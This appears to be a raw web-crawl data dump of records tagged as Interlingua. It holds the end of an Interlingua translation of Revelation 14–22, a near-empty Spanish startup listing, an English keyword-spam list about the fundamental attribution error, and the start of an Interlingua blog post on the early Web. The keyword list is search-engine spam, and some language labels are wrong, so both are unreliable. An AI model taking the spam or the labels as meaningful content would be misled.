al habitantes del terra, e a omne nation e tribo e lingua e populo;\n14:7 e ille diceva con grande voce: Time Deo e da gloria a Ille, pois que le hora de su judicio ha venite; e adora Ille qui ha facite le celo e le terra e le mar e le fontes del aquas.\n14:8 E un altere angelo le sequeva dicente: Ha cadite, ha cadite le grande Babylonia, que ha facite biber a tote le nationes del vino del ira de su fornication.\n14:9 E un tertie angelo, le sequeva, dicente con grande voce: Si alicuno adora le bestia e su imagine e recipe le marca sur le fronte o sur le mano,\n14:10 ille bibera etiam del vino del ira de Deo del calice de su ira, pur e sin mixtura: e ille essera tormentate con foco e sulfure in le presentia del sancte angelos e del Agno.\n14:11 E le fumo de lor tormento ascende in le seculos del seculos; e non ha requiem ni de die ni de nocte pro illes qui adora le bestia e su imagine e quicunque recipe le marca de su nomine.\n14:12 Hic sta le patientia del sanctos qui observa le commandamentos de Deo e le fide in Jesus.\n14:13 E io audiva un voce ab le celo que diceva: Scribe: Beate le mortos que desde nunc in avante mori in le Senior. Sic, dice le Spirito, perque illes se reposa de lor fatigas, pois que lor operas les seque.\n14:14 E io reguardava e ecce un nube blanc; e supra le nube sedite uno simile al Filio del Homine, qui habeva sur le capite un corona de auro, e in mano un falce acute.\n14:15 E un altere angelo exiva ex le templo, a critar con grande voce a ille qui sedeva supra le nube: Prende tu falce, e falca; pois que le hora de falcar ha arrivate, perque le messe del terra es jam matur.\n14:16 E ille qui sedeva super le nube lanceava su falce sur le terra e le terra esseva falcate.\n14:17 E un altere angelo exiva ex le templo que sta in celo, habente anque ille un falce acute.\n14:18 E un altere angelo, qui habeva poter super le foco, exiva ex le altar, e critava con grande voce a ille qui habeva le falce acute, dicente: Prende tu falce acute, e vindemia le racemos del vinia del terra, perque su uvas es matur.\n14:19 E le angelo lanceava su falce sur le terra e vindemiava le vinia del terra e jectava le uvas in le grande pressa del vino del ira de Deo.\n14:20 E le pressa del vino esseva calcate foras del citate, e ex le pressa del vino exiva sanguine que arrivava usque al frenos del cavallos, per un extension de mille sex centos stadios.\n15:1 Postea io videva in celo un altere signo grande e meraviliose: septe angelos qui habeva septe plagas, le ultimes; pois que con illos consummate es le ira de Deo.\n15:2 E io videva como un mar de vitro e de foco e illes qui habeva obtenite le victoria super le bestia e super su imagine e super le numero de su nomine, le quales stava in pede supra le mar de vitro habente le citheras de Deo.\n15:3 E illes cantava le cantico de Moses, servitor de Deo, e le cantico del Agno, dicente: Grande e meraviliose es tu operas, oh Senior Deo omnipotente; juste e verace es tu vias, oh Rege del nationes.\n15:4 Qui non timera, oh Senior, e qui non glorificara tu nomine? Pois que tu sol es sancte; e tote le nationes venira e adorara in tu presentia, pois que tu judicios es manifestate.\n15:5 E post iste cosas io reguardava, e le templo del tabernaculo del testimonio esseva aperite in celo;\n15:6 e le septe angelos qui portava le septe plagas exiva ex le templo, vestite de lino pur e candide, e con le pectore cingite de cincturas de auro.\n15:7 E un del quatro creaturas vivente dava al septe angelos septe cuppas de auro plen del ira de Deo, le qual vive in le seculos del seculos.\n15:8 E le templo esseva plenate de fumo a causa del gloria de Deo e de su potentia; e nemo poteva entrar in le templo usque non esseva consummate le septe plagas del septe angelos.\n16:1 E io audiva un grande voce ex le templo que diceva al septe angelos: Vade e versa supra le terra le septe cuppas del ira de Deo.\n16:2 E le prime angelo vadeva e versava su cuppa supra le terra; e un vulnere maligne e dolorose colpava le homines qui habeva le marca del bestia e que adorava su imagine.\n16:3 Postea le secunde angelo versava su cuppa in le mar; e illo deveniva como le sanguine de un morto; e omne esser vivente que se trovava in le mar moriva.\n16:4 Postea le tertie angelo versava su cuppa in le fluvio e in le fontes del aquas; e le aquas deveniva sanguine.\n16:5 E io audiva le angelo del aquas qui diceva: Tu es juste, tu qui es e qui esseva, tu, le Sancto, per haber assi judicate.\n16:6 Illes ha versate le sanguine del sanctos e del prophetas, e tu les dava a biber sanguine; illes lo merita!\n16:7 E io audiva un voce del altar que diceva: Si, oh Senior Deo omnipotente, tu judicios es verace e juste.\n16:8 Postea le quarte angelo versava su cuppa supra le sol; e al sol esseva date de comburer le homines con foco.\n16:9 E le homines esseva comburite con grande calor; e illes blasphemava le nomine de Deo que ha le potestate super iste plagas, e illes non se repentiva pro dar le gloria.\n16:10 Postea le quinte angelo versava su cuppa supra le throno del bestia; e su regno deveniva tenebrose, e le homines se mordeva le lingua per le dolor,\n16:11 e illes blasphemava le Deo del celo a causa de lor dolores e de lor vulneres; e illes non se repentiva de lor operas.\n16:12 Postea le sexte angelo versava su cuppa supra le grande fluvio Euphrate, e su aqua se siccava a fin que le via del reges qui veni ex le oriente esseva preparate.\n16:13 E io videva exir ex le bucca del dracon e ex le bucca del bestia e ex le bucca del false propheta tres spiritos immunde, simile a ranas;\n16:14 illos es spiritos de demonios que face signos e illos vade al reges del terra pro congregar les pro le battalia del grande die del Deo Omnipotente.\n16:15 (Io veni como un fur; beate qui velia e conserva su vestes pro non camminar nude a fin que non se vide su vergonias).\n16:16 E illos les congregava in un loco appellate in hebreo Harmagedon.\n16:17 Postea le septime angelo versava su cuppa in le aere; e un grande voce exiva ex le templo, del throno, dicente: es facto.\n16:18 E habeva fulmines e voces e tonitros; e habeva un grande seismo, talmente grande, que desde quando le homines es supra le terra, non se habeva vidite un de tal magnitude.\n16:19 E le grande citate esseva dividite in tres partes, e cadeva le citates del nationes; e Deo se recordava de Babylonia le grande pro dar a illo le calice del vino del furor de su ira.\n16:20 E tote le insulas fugiva e le montes non se trovava plus.\n16:21 E cadeva ab le celo supra le homines un grande grandine del peso de circa un talento; e le homines blasphemava Deo a causa del plaga de grandine; perque le plaga esseva multo grande.\n17:1 E un del septe angelos qui habeva le septe cuppas veniva, e me parlava dicente: Veni; io te monstrara le condemnation del grande meretrice, qui sta sedite supra multe aquas\n17:2 e con la qual ha fornicate le reges del terra; e le habitantes del terra ha essite inebriate con le vino de su prostitution.\n17:3 E ille, in Spirito, me transportava in un deserto; e io videva un femina sedite supra un bestia de color scarlatin, plen de nomines blaspheme e habente septe testas e dece cornos.\n17:4 E le femina esseva vestite de color purpuree e scarlatin, adornate de auro, de petras preciose e de perlas; illa habeva in mano un calice de auro, plen de abominationes e del immunditia de su prostitution,\n17:5 e sur le fronte habeva scripte un nomine: Mysterio, Babylonia le grande, le matre del meretrices e del abominationes del terra.\n17:6 E io videva le femina ebrie del sanguine del sanctos e del sanguine del martyres de Jesus. E post haber la vidite io me meraviliava con grande admiration.\n17:7 E le angelo me diceva: Perque te meravilia? Io te revelara le mysterio del femina e del bestia que la porta, la qual ha le septe testas e le dece cornos.\n17:8 Le bestia que tu videva, esseva, sed non es plus, e debe ascender ex le abysso e vader in perdition. E illes qui habita supra le terra cuje nomines non ha essite scripte in le libro del vita, desde le fundation del mundo, se meraviliara al vider que le bestia esseva, e non es plus, e venira de nove.\n17:9 Hic sta le senso de qui ha sapientia. Le septe testas es septe montes supra le quales le femina es sedite\n17:10 e illos es etiam septe reges, cinque ha jam cadite, un es ancora, e le altere non ha ancora venite; e quando illes habera venite, illes durara poco.\n17:11 E le bestia que esseva, e non es, ille es etiam le octave rege, e ille proveni ex le septe, e ille vadera in perdition.\n17:12 E le dece cornos que tu videva es dece reges, qui non ha ancora recipite le regno; sed illes recipera potestate, como reges, conjunctemente con le bestia, per un hora.\n17:13 Istes ha un mesme intento e illes dara lor potentia e autoritate al bestia.\n17:14 Istes pugnara contra le Agno, e le Agno les vincera, perque ille es le Senior del seniores e Rege del reges; e illes qui con ille sta es vocate, electos e fideles.\n17:15 Postea ille me diceva: Le aquas que tu videva e supra le quales es sedite le meretrice, son populos e multitudes e nationes e linguas.\n17:16 E le dece cornos que tu videva e le bestia odiara le meretrice e le lassara desolate e nude, e illes manducara su carnes e illes la cremara con foco.\n17:17 Pois que Deo ha mittite in lor corde de exercer Su designo e de haber un mesme intento e de dar lor regno al bestia a fin que le parolas de Deo sia consummate.\n17:18 E le femina qui tu videva es le grande citate que impera super le reges del terra.\n18:1 E post iste cosas io videva un altere angelo qui descendeva ab le celo, le qual habeva grande poter; e le terra esseva illuminate con su gloria.\n18:2 E ille critava con voce potente, dicente: Ha cadite, ha cadite Babylonia le grande, e illa deveniva habitation demonios e custodia pro tote le spiritos immunde e refugio pro le aves immunde e abominabile.\n18:3 Pois que tote le nationes ha bibite del vino del ira de su fornication, e le reges del terra ha fornicate con illa, e le mercantes del terra se inricchiva con le abundantia de su luxuria.\n18:4 Post io audiva un altere voce ab le celo que diceva: Exi ex illa, oh populo mie, pro non esser participe de su peccatos e pro non reciper su plagas;\n18:5 pois que su peccatos se ha accumulate usque al celo e Deo se ha recordate de su iniquitate.\n18:6 restitue a illa lo que illa vos ha date, e da a illa le duple secundo su operas; in le calice in le qual illa vos dava de biber, da etiam a illa le duple.\n18:7 Quanto illa se ha glorificate in delicias, assi vos da a illa tormento e lucto. Pois que illa dice in su corde: Io es sedite como regina e io non es vidua e io non videra unquam lucto,\n18:8 ergo in un mesme die venira a illa plagas, mortalitate e lucto e fame, e illa essera comburite per foco; pois que potente es le Senior Deo qui la judica.\n18:9 E le reges del terra que fornicava e se deliciava con illa plorara e lugera pro illa quando illes videra le fumo de su incendio;\n18:10 e stante lontan per timor de su tormento illes dicera: Ai! ai! Babylonia, le grande citate, le potente citate! Tu judicio ha venite in un hora!\n18:11 E le mercantes del terra plorara e illes lugera pro illa, perque nemo compra plus lor mercantia:\n18:12 mercantias de auro, de argento, de petras preciose, de perlas, de lino fin, de purpura, de seta, de scarlatin; e omne sorta de ligno odorose, e omne sorta de vasos de ebore e omne sorta de vasos de ligno preciosissime e de bronzo, de ferro e de marmore,\n18:13 e cannella e aromas, e perfumos, e unguentos, e incenso, e vino, e oleo, e flor de farina, e grano, e boves, e oves, e cavallos, e carros, e corpores e animas del homines.\n18:14 E le fructos que tu anima desiderava se retirava lontan de te; e tote le cosas delicate e sumptuose se perdeva pro te e illos non retornara plus.\n18:15 Le mercantes de iste cosas que per illa se habeva inricchite stara lontan per timor de su tormento, e illes plorara e lugera, dicente:\n18:16 Ai! ai! Le grande citate que esseva vestite de lino fin e de purpura e de scarlatin, e adornate de auro e de petras preciose e de perlas! Un assi grande ricchessa esseva devastate in un hora.\n18:17 E tote le pilotas e tote le navigatores e le marineros e illes qui traffica super le mar restara lontan;\n18:18 e al vider le fumo del incendio illes exclamara dicente: Qual citate esseva como iste magne citate?\n18:19 E illes se jectara pulvere super lor capite e illes critara, plorara e lugera, dicente: Ai! ai! Le grande citate in le qual tote illes qui habeva naves in mar se habeva inricchite con su magnificentia! In un hora illa esseva desolate.\n18:20 Exulta super illa, oh celo, e vos sanctos, e apostolos e prophetas pois que Deo, vindicava vostre causa in illa.\n18:21 Postea un potente angelo sublevava un grande petra como un grande petra de molino, e lo lanceava in le mar dicente: Con le mesme impeto precipitara Babylonia, le grande citate, e non essera plus trovate.\n18:22 E in te non se audira plus le sono de citheristas ni de musicos ni de flautistas ni trompetteros; ni essera plus trovate in te alicun artifice de qualcunque arte, ni se audira plus in te rumor de molino.\n18:23 E non resplendera plus in te lumine de lampada, e non se audira plus in te voce de sposo e de sposa; perque tu mercantes esseva le principes del terra, perque tote le nationes habeva essite seducite per tu sortilegios,\n18:24 e in illa esseva trovate le sanguine del prophetas e del sanctos e de tote illes qui esseva occidite sur le terra.\n19:1 Post iste cosas io audiva como un grande voce de un immense multitude in celo, qui diceva: Alleluia! Le salvation e le gloria e le potentia appertine a nostre Deo;\n19:2 perque verace e juste es su judicios; pois que Ille ha judicate le grande meretrice qui corrumpeva le terra con su prostitution e ha vindicate le sanguine de su servos, ex le mano de illa.\n19:3 E illes diceva ancora: Alleluia! Su fumo ascende per le seculos del seculos.\n19:4 E le vinti-quatro ancianos e le quatro creaturas vivente se prostrava pro adorar Deo sedite super le throno, dicente: Amen! Alleluia!\n19:5 E un voce exiva ex le throno dicente: Lauda nostre Deo, vos tote su servos, vos qui le time, parves e grandes.\n19:6 Postea io audiva como le voce de un grande multitude e como le sono de multe aquas e como le rumor de forte tonitros, que diceva: Alleluia! pois que le Senior Deo nostre, le Omnipotente, regna.\n19:7 Vamos gauder e exultar e dar le gloria, pois que ha venite le hora del nuptias del Agno, e su sposa se ha preparate;\n19:8 e le esseva concedite de vestir se de lino fin, candide e pur: pois que le lino fin es le operas juste del sanctos.\n19:9 E le angelo me diceva: Scribe: Beate illes qui es invitate al cena del nuptias del Agno. E ille me diceva: Iste son ver parolas de Deo.\n19:10 E io me prostrava a su pedes pro adorar le. E ille me diceva: Vide de non facer lo; io es un tu conservo e de tu fratres qui ha le testimonio de Jesus; adora Deo! Perque le testimonio de Jesus es le spirito de prophetia.\n19:11 Post io videva le celo aperite, e ecce un cavallo blanc; e qui lo cavalcava se appella Fidel e Verace; e ille judica e pugna con justitia.\n19:12 E su oculos esseva como un flamma de foco, e super su capite ille habeva multe diademas; e ille portava scribite un nomine que nemo cognosce excepte ille.\n19:13 Ille esseva vestite con un veste tingite de sanguine, e su nomine es: Verbo de Deo.\n19:14 E le exercitos que sta in celo le sequeva supra cavallos blanc, e illes esseva vestite de lino fin candide e pur.\n19:15 E ex le bucca le exiva un spada acute pro percuter con illo le nationes; e ille los regera con un virga de ferro, e calcara le pressa del vino del ardente ira del Omnipotente Deo.\n19:16 E sur le veste e sur le coxa ille ha scripte iste nomine: REGE DEL REGES, SENIOR DEL SENIORES.\n19:17 Post io videva un angelo que stava in le sole, e ille critava con grande voce, dicente a tote le aves que vola in medio al celo: Veni, congrega vos pro le magne cena de Deo\n19:18 pro manducar carnes de reges e carnes de capitanos e carnes de potentes e carnes de cavallos e de cavalleros, e carnes de omne sorta de homines, liberes e sclavos, parves e grandes.\n19:19 E io videva le bestia e le reges del terra e lor exercitos congregate pro facer guerra a ille qui cavalcava le cavallo e a su exercito.\n19:20 E le bestia esseva capturate, e con illo esseva capturate le falso propheta qui habeva facite miraculos coram illo, con los qual ille habeva seducite illes qui habeva recipite le marca del bestia e qui adorava su imagine. Ambes esseva jectate vive in le stagno ardente de foco e de sulfure.\n19:21 E le restante esseva occidite con le spada que exiva ex le bucca de ille qui cavalcava le cavallo; e tote le aves se satiava con lor carnes.\n20:1 Postea io videva un angelo qui descendeva ab le celo qui habeva le clave del abysso e un grande catena in mano.\n20:2 E ille capturava le dracon, le serpente antique, que es Satan, le diabolo e le ligava per mille annos,\n20:3 e ille le jectava in le abysso que claudeva e lo sigillava pro non seducer plus le nationes usque esseva consummate le mille annos; e postea, [Satan] debera esser liberate per un breve tempore.\n20:4 Postea io videva thronos; e a qui ibi se sedeva esseva date le poter de judicar. E io videva le animas de illes qui habeva essite decapitate per le testimonio de Jesus e per le parola de Deo, e etiam illes qui non habeva adorate le bestia ni su imagine, qui non habeva recipite le marca sur lor fronte e sur lor mano; e illes resurgeva, e regnava con Christo per mille annos.\n20:5 Le remanente del mortos non resurgeva usque esseva consummate le mille annos. Iste es le prime resurrection.\n20:6 Beate e sancte illes qui participa al prime resurrection. Super illes non ha potestate le secunde morte sed illes essera sacerdotes de Deo e de Christo e illes regnara con Ille per mille annos.\n20:7 E quando le mille annos habera passate, Satan essera liberate de su prision\n20:8 e ille exira pro seducer le gentes qui sta supra le quatro angulos del terra, Gog e Magog, pro congregar les pro le battalia: e lor numero es como le arena del mar.\n20:9 E illes ascendeva sur le latitude del terra e illes circumfereva le campo del sanctos e le citate amate; sed ab le celo descendeva foco que les devorava.\n20:10 E le diabolo qui les habeva seducite esseva jectate in le stagno de foco e de sulfure, ubi sta etiam le bestia e le false propheta; e illes essera tormentate die e nocte, in le seculos del seculos.\n20:11 Postea io videva un grande throno candide e sedeva supra Uno, de cuje presentia fugiva terra e celo; e non esseva plus trovate placia pro illos.\n20:12 E io videva le mortos, grandes e parves, qui stava ante le throno; e le libros esseva aperite; e etiam esseva aperite un altere libro, que es le libro del vita; e le mortos esseva judicate per le cosas scribite in le libros, secundo lor operas.\n20:13 E le mar rendeva le mortos qui esseva in illo; e le morte e le inferno rendeva lor mortos, e illes esseva judicate, cata un secundo lor operas.\n20:14 E le morte e le inferno esseva jectate in le stagno de foco. Iste es le secunde morte, le stagno de foco.\n20:15 E qui non se trovava scribite in le libro del vita, esseva jectate in le stagno de foco.\n21:1 Postea io videva un nove celo e un nove terra, perque le prime celo e le prime terra habeva passate, e le mar non existeva plus.\n21:2 E io videva le sancte citate, le Nove Jerusalem, descender ab le celo del presentia de Deo, prompte como un sposa adornate pro su sposo.\n21:3 E io audiva un grande voce ex le throno, que diceva: Ecce le tabernaculo de Deo con le homines; e Ille habitara con illes, e illes essera su populo, e Deo ipse stara con illes e essera lor Deo;\n21:4 e Ille essugara omne lacrima de lor oculos e le morte non existera plus; ni habera plus lucto, ni critos, ni dolor, pois que le cosas de antea ha passate.\n21:5 E Ille qui sede super le throno diceva: Ecce, io face omne cosa nove, e ille addeva: Scribe, perque iste parolas es fidel e verace.\n21:6 E ille me diceva: Es facite. Io es le Alpha e le Omega, le principio e le fin. A qui ha sete io dara gratuitemente del fonte del aqua del vita.\n21:7 Qui vince hereditara iste cosas; e io essera su Deo, e ille essera mi filio;\n21:8 sed quanto al coardes, al incredules, al abominabiles, al homicidas, al fornicatores, al magos, al idolatras e a tote le mendacios, lor parte essera in le stagno ardente de foco e de sulfure, que es le secunde morte.\n21:9 E veniva un del septe angelos qui habeva le septe cuppas plen del septe ultimes plagas; e ille parlava con me, dicente: Veni e io te monstrara le sposa, le uxor del Agno.\n21:10 E ille me transportava in spirito supra un grande e alte montania, e me monstrava le sancte citate, Jerusalem, que descendeva ab le celo del presentia de Deo, habente le gloria de Deo.\n21:11 Le luminar esseva simile a un petra preciosissime, como un petra de jaspe crystallin.\n21:12 Illo habeva un muro grande e alte; habeva dece-duo portas, e al portas dece-duo angelos, e sur le portas il habeva scripte nomines, que es los del dece-duo tribos del filios de Israel.\n21:13 A oriente habeva tres portas; a septentrion tres portas; a sud tres portas, e a occidente tres portas.\n21:14 E le muro del citate habeva dece-duo fundamentos, e su illos stava le dece-duo nomines del dece-duo apostolos del Agno.\n21:15 E ille qui parlava con me habeva como metro, un canna de auro, pro mensurar le citate, su portas e su muro.\n21:16 E le citate esseva quadrangular, e su longitude esseva equal al amplitude; ille mensurava le citate con le canna, e illo esseva de dece-duo mille stadios; su longitude, su amplitude e su altitude esseva equal.\n21:17 Ille mensurava etiam le muro, que esseva de cento quaranta-quatro cubitos, secundo le mensura de un homine, e etiam de angelo.\n21:18 Le muro esseva construite de jaspe e le citate esseva de auro pur, simile a vitro pur.\n21:19 Le fundamentos del muro del citate esseva adornate con omne typo de petras preciose. Le prime fundamento esseva de jaspe; le secunde de sapphiro; le tertie de carcedonio; le quarte de esmeraldo;\n21:20 le quinte de sardonyce; le sexte de sardio; le septime de chrysolitho; le octave de beryllo; le nono de topazo; le decime de chrysopraso; le decimo-prime de hyacintho; le decimo-secunde de amethysto.\n21:21 E le dece-duo portas esseva dece-duo perlas, e cata porta esseva facite de un perla; e le placia del citate esseva de auro pur simile a vitro transparente.\n21:22 E io non videva in illo alicun templo, perque le Senior Deo, le Omnipotente, e le Agno es su templo.\n21:23 E le citate non ha necessitate que le sol o le luna resplende in illo, perque lo illumina le gloria de Deo, e le Agno es su luminar.\n21:24 E le nationes camminara a su luce; e le reges del terra portara a illo lor gloria.\n21:25 E su portas non essera jammais claudite de die e le nocte non existera ibi;\n21:26 e a illo on portara le gloria e le honor del nationes.\n21:27 E non entrara in illo nil de immunde ni qui committe abomination o falsitate, sed solmente qui es scripte in le libro del vita del Agno.\n22:1 Postea ille me monstrava le fluvio del aqua del vita, limpide como crystallo, que procedeva ex le throno de Deo e del Agno.\n22:2 In medio al placia del citate e de ambe ripas del fluvio stava le arbore del vita, que produce dece-duo typos de fructos, un in omne mense; e le folios del arbore es pro sanar le nationes.\n22:3 E non habera plus alicun malediction; e in illo essera le throno de Deo e del Agno;\n22:4 Su servos Le servira e illes videra Su facie e illes habera in fronte Su nomine.\n22:5 E non habera plus nocte; e illes non habera necessitate de luce de lampada, ni de luce de sol, perque les illuminara le Senior Deo, e illes regnara in le seculos del seculos.\n22:6 E ille me diceva: Iste parolas es fidel e ver; e le Senior, le Deo del spiritos del prophetas, ha inviate su angelo pro monstrar a su servos le cosas que debe advenir in breve.\n22:7 Ecce, io veni presto. Beate qui conserva le parolas del prophetia de iste libro.\n22:8 E io, Johannes, es ille qui audiva e videva iste cosas. E post que io los habeva audite e vidite, io me prostrava al pedes del angelo qui me habeva monstrate iste cosas pro adorar le.\n22:9 Sed ille me diceva: Non lo facer; io es tu conservo e de tu fratres, le prophetas, e de illes qui observa le parolas de iste libro. Adora Deo.\n22:10 E ille me diceva: Non sigillar le parolas del prophetia de iste libro, perque le tempore es vicino.\n22:11 Qui es injuste sia injuste ancora; qui es contaminate sia contaminate ancora; e qui es juste que practica ancora le justitia e qui es sancte que se sanctifica ancora.\n22:12 Ecce, io veni presto, e mi premio es con me pro dar a cata un secundo su operas.\n22:13 Io es le Alpha e le Omega, le prime e le ultime, le principio e le fin.\n22:14 Beate illes qui lava lor vestes pro haber derecto al arbore del vita e pro entrar per le portas in le citate!\n22:15 Foras le canes, le magos, le impudicos, le homicidas, le idolatras e quicunque ama e practica le mendacio.\n22:16 Io Jesus ha inviate mi angelo pro attestar vos iste cosas in le ecclesias. Io es le radice e le progenie de David, le lucente stella matutin.\n22:17 E le Spirito e le sposa dice: Veni. E qui audi que dice: Veni. E qui ha sete que veni; qui vole, pote prender in dono del aqua del vita.\n22:18 Io testifica a omnes qui audi le parolas del prophetia de iste libro: Si alicuno adde alco, Deo le addera le plagas describite in iste libro;\n22:19 e si alicuno remove alco del parolas del libro de iste prophetia, Deo le levara su parte del arbore del vita e del citate sancte, como scribite in iste libro.\n22:20 Ille qui attesta iste cosas, dice: Sic; veni presto! Amen! Veni, Senior Jesus!\n22:21 Que le gratia del Senior Jesus sia con tote vos.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/interlingua.wikia.com\/wiki\/Revelation","date":"2017-08-24T03:12:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886126027.91\/warc\/CC-MAIN-20170824024147-20170824044147-00558.warc.gz","language":"ina","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 1.000006914138794}","num_words":13220,"character_repetition_ratio":0.05,"word_repetition_ratio":0.009,"special_characters_ratio":0.243,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":780.0,"cluster_detection":-1} +{"text":"Sobre Rhinoplasty in istanbul\nGalería Rhinoplasty in istanbul 2\nDatos Rhinoplasty in istanbul\nEquipo Rhinoplasty in istanbul 1\nInversores Rhinoplasty in istanbul 0\nRhinoplasty in istanbul no tiene a su equipo agregado\nAcceleradoras Rhinoplasty in istanbul 0\nRhinoplasty in istanbul no ha pasado por aceleradoras\nNoticias Rhinoplasty in istanbul 0\nRhinoplasty in istanbul no tiene ninguna noticia disponible.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/startupxplore.com\/es\/startups\/rhinoplasty-in-istanbul","date":"2017-10-20T16:25:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187824226.31\/warc\/CC-MAIN-20171020154441-20171020174441-00363.warc.gz","language":"ina","language_score":0.3668418229,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"ina_Latn_score\": 0.3668418228626251, \"eng_Latn_score\": 0.18389186263084412, \"spa_Latn_score\": 0.04547207057476044, \"sco_Latn_score\": 0.032368119806051254, \"glg_Latn_score\": 0.025418156757950783, \"slk_Latn_score\": 0.025073880329728127, \"vol_Latn_score\": 0.01737053506076336, \"ron_Latn_score\": 0.015761476010084152, \"hus_Latn_score\": 0.01558712963014841, \"lad_Latn_score\": 0.014260371215641499, \"slv_Latn_score\": 0.013135897926986217, \"ita_Latn_score\": 0.012884339317679405, \"lvs_Latn_score\": 0.011166662909090519}","num_words":112,"character_repetition_ratio":0.352,"word_repetition_ratio":0.233,"special_characters_ratio":0.155,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.326,"perplexity_score":11003.2,"cluster_detection":-1} +{"text":"fundamental attribution error - milgram study\nfundamental attribution error defined\nfundamental attribution error definition\nfundamental attribution error definition sociology\nfundamental attribution error easy definition\nfundamental attribution error heider 1958\nfundamental attribution error movies\nfundamental attribution bias error\nfundamental attribution error situational factors\nfundamental attribution error cartoon\nfundamental attribution error social psychology definition\nfundamental attribution error psychology definition\nfundamental attribution error in remember the titans\nfundamental attribution error theory\nfundamental attribution error video\nfundamental attribution error castro study\nfundamental attribution error\nfundamental attribution error - wikipedia the free encyclopedia\nfundamental attribution theory error\nfundamental attribution error organizational behavior\nfundamental attribution error dispositional factor\nfundamental attribution error internal external\nfundamental attribution error define\nfundamental attribution error hurricane katrina\nfundamental attribution error foreign policy\nfundamental attribution error activity\nfundamental error of attribution\nfundamental attribution error psychology examples\nfundamental attribution error individualistic culture\nfundamental error attribution\nfundamental attribution error situation\nfundamental attribution error scale\nfundamental attribution error exercise\nfundamental attribution error psychology dictionary\nfundamental attribution error psych wiki\nfundamental attribution error research\nfundamental attribution error in eastern cultures\nfundamental error\nfundamental attribution error and self-serving bias\nfundamental attribution error journal articles\nfundamental attribution error sociology definition\nfundamental attribution error explained\nfundamental attribution error howard dean\nfundamental attribution error milgram\nfundamental attribution error heuristics\nfundamental attribution error examples yahoo\nfundamental attribution error stanford prison experiment\nfundamental attributional error\nfundamental attribution error class activity\nfundamental attribution error sociology\nfundamental attribution error definition psychology\nfundamental attribution error class activities\nfundamental attribution error or the self serving bias\nfundamental attribution error across cultures\nfundamental error psychology\nfundamental attribution error locus of control\nfundamental attribution error blame the victim\nfundamental attribution error confirmation bias\nfundamental attribution error simple definition\nfundamental attribution error means\nfundamental attribution error theorist\nfundamental error of attribution theory\nfundamental attributions error\nfundamental attribution error explanation\nfundamental attribution error tests\nfundamental attribution error video example\nfundamental attribution error in movies\nfundamental attribution error versus correspondence bias\nfundamental attribution error culture\nfundamental attribution error case study\nfundamental attribution error study\nfundamental attribution error definition in psychology\nfundamental attribution error essay\nfundamental attribution error situational\nfundamental attribution error definition and examples\nfundamental attribution error dispositional\nfundamental attribution error in communication\nfundamental distribution error\nfundamental attribution error examples in the workplace\nfundamental attribution error in the workplace\nfundamental attribution error simple terms\nfundamental attribution error examples in media\nfundamental attribution error classroom activities\nfundamental attribution error definition example\nfundamental error definition\nfundamental attribution error international relations\nfundamental attribution error collectivist cultures\nfundamental attribution error western culture\nfundemental error\nfundamental attribution error in social psychology\nfundamental attribution error jonestown\nfundamental attribution error psychology\nfundamental attribution error lab report\nfundamental attribution research error\nfundamental attribution error mean girls\nfundamental attibution error\nfundamental attribution error author\nfundamental attribution error examples tipping point\nfundamental error of attribution examples\nfundamental attribution error examples in movies\nfundamental attribution error factors\nfundamental attribution error milgram experiment\nfundamental atribution error\nfundamental attribution error dictionary\nfundamental attribution error game show study\nfundamental attribution error examples movie crash\nfundamental attribution error activities\n© Copyright 2017 blogeurope.net. All rights reserved.","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/blogeurope.net\/fundamental-attribution","date":"2018-02-18T23:36:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812293.35\/warc\/CC-MAIN-20180218232618-20180219012618-00748.warc.gz","language":"ina","language_score":0.5224373937,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"ina_Latn_score\": 0.5224373936653137, \"eng_Latn_score\": 0.38366857171058655, \"ile_Latn_score\": 0.020416628569364548}","num_words":774,"character_repetition_ratio":0.512,"word_repetition_ratio":0.003,"special_characters_ratio":0.112,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.524,"perplexity_score":46927.3,"cluster_detection":-1} +{"text":"Friday, April 30, 2010\n(Languages of this post: Interlingua, Spanish, English)\nLe Web es un innovation extraordinari, con le plus grande potential pro promover le cambio social desde le invention del imprimeria o del motor de vapor. Construite basicamente como un technologia que es apolitic, non regulate, e decentralisate, illo permite que omne le mundo--homines, mulieres, e infantes--sia creatores de information in vice de consumitores passive. Illo anque es un enorme bibliotheca de cognoscentia global, un collection digital de cognoscimentos human del passato e del presente presentate in formatos que es progressivemente plus facile de manipular.\nComo resultato, nos ha un poter sin precedentes pro crear nostre proprie veritates e compartir los con le resto del mundo. Le Web ha permittite un equalitate de accesso que non se habeva contemplate unquam in le passato. Ma esque on ha perdite le opportunitate de converter lo in un grande nivellator social?\nAnte vinti annos, le Web esseva colonisate per un gruppo de personas qui credeva que le societate ideal esseva equalitari. Pro iste pioneros, omne personas habeva le derecto de involver se e il non deberea exister un hierarchia social, e illes credeva que un numero minime de normas poterea organisar le systema pro assecurar le ben commun.\nGente ccmo le autor statounitese Stewart Brand, le critico Howard Rheingold, e le poeta John Perry Barlow credeva que le inviolabilitate de personas individual esseva superior a illo del stato nation e que promover le communication inter omne le populous del mundo esserea sufficiente pro resolver le problemas mundial.\nIn le protointernet iste personas passava plus que un decada in le exploration del possibilitates de communitates alternative immaterial in le cyberspatio. Le prime communitates que illes establiva, como the Well, habeva characteristicas simile al communitates in le mundo real, multes del quales se deteriorava quando le pauco definite regulationes degenerava in exploitation e chaos. Ma le idealistas pioneros del Web manteneva que le nove frontiera digital providerea un terreno intellectual fertile in le qual on poterea crear un societate plus libere e utopic.\nNonobstante, le historia habeva planos differente pro le Web. Le puncto de vista informal del comportamento social in le Web del pioneros collideva con le characteristicas essential de nostre natura, nostre desiro de prender controlo, de posseder, e de extraher beneficios monetari de nostre activitates, e le Rete deveniva un spatio pro le beneficio commercial in le medie parte del annos 90. Il habeva un 